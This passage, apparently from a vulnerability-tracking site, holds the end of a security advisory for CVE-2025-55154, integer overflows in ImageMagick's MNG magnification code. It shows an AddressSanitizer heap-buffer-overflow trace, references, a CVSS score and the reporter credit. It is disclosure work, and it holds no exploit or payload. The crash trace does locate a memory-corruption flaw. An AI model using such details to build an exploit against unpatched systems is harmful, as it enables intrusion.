926b2c12732f27a214dada191ea6277c7b553ea5)\n    #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7\n    #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10\n    #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46\n    #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18\n    #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28\n    #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10\n    #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7\n    #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28\n    #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22\n    #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7\n    #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed\nShadow bytes around the buggy address:\n  0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=\u003e0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa\n  0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==585863==ABORTING\n```\n\n## **Reporter Credit**\n\nGoogle Big Sleep",
  "id": "GHSA-qp29-wxp5-wh82",
  "modified": "2025-08-25T16:23:10Z",
  "published": "2025-08-25T16:23:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp29-wxp5-wh82"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55154"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0"
    },
    {
      "type": "WEB",
      "url": "https://goo.gle/bigsleep"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "imagemagick: integer overflows in MNG magnification"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…